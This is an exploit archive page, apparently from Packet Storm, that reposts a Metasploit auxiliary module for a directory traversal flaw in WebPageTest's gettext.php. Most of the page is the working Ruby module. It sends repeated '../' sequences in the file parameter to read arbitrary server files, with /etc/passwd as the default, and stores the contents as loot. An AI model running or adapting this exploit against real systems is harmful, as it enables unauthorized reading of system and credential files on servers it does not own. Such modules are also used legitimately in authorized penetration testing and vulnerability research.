exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WebPageTest Directory Traversal

WebPageTest Directory Traversal
Posted Sep 1, 2024
Authored by dun, sinn3r | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability found in WebPageTest. Due to the way the gettext.php script handles the file parameter, it is possible to read a file outside the www directory.

tags | exploit, php
SHA-256 | c8fc5793bb9641b12b4d2106a06fb4d479a668d64206809ae721e664f0532142

WebPageTest Directory Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'WebPageTest Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in WebPageTest.
Due to the way the gettext.php script handles the 'file' parameter, it is possible
to read a file outside the www directory.
},
'References' =>
[
['EDB', '19790'],
['OSVDB', '83817']
],
'Author' =>
[
'dun', # Discovery, PoC
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2012-07-13'
))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/']),
OptString.new('FILE', [ true, "The path to the file to view", '/etc/passwd']),
OptInt.new('DEPTH', [true, 'The max traversal depth', 11])
])
end


def run_host(ip)
file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "/#{datastore['FILE']}"
traverse = "../" * datastore['DEPTH']
uri = normalize_uri(target_uri.path)
base = File.dirname("#{uri}/.")

print_status("Requesting: #{file} - #{rhost}")
res = send_request_cgi({
'uri' => "#{base}/gettext.php",
'vars_get' => { 'file' => "#{traverse}#{file}" }
})

if not res
print_error("No response from server.")
return
end


if res.code != 200
print_error("Server returned a non-200 response (body will not be saved):")
print_line(res.to_s)
return
end

vprint_line(res.body)
p = store_loot('webpagetest.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file))
print_good("File saved as: #{p}")
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close